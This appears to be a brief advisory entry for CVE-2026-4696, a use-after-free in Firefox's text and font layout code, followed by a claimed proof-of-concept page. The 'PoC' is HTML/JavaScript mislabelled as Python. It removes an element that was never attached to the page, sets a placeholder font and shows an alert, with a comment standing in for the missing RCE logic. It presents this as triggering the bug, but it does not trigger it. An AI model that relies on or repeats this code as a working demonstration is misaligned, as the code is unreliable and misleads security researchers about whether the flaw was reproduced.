Use-after-free in the Layout: Text and Fonts component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-4696 (Use-after-free in Layout)
This is a conceptual demonstration.
-->
<html>
<head>
<script>
function trigger_uaf() {
// Step 1: Create object to be freed
let obj = document.createElement('div');
// Step 2: Manipulate layout to trigger free in Layout:Text & Fonts
document.body.style.fontFamily = 'vulnerable-font';
// Step 3: Force garbage collection or layout flush
obj.remove();
// Step 4: Attempt to reuse the freed memory
// Exploitation logic would go here to achieve RCE
alert('UAF condition triggered');
}
window.onload = trigger_uaf;
</script>
</head>
<body>
<p>CVE-2026-4696 PoC</p>
</body>
</html>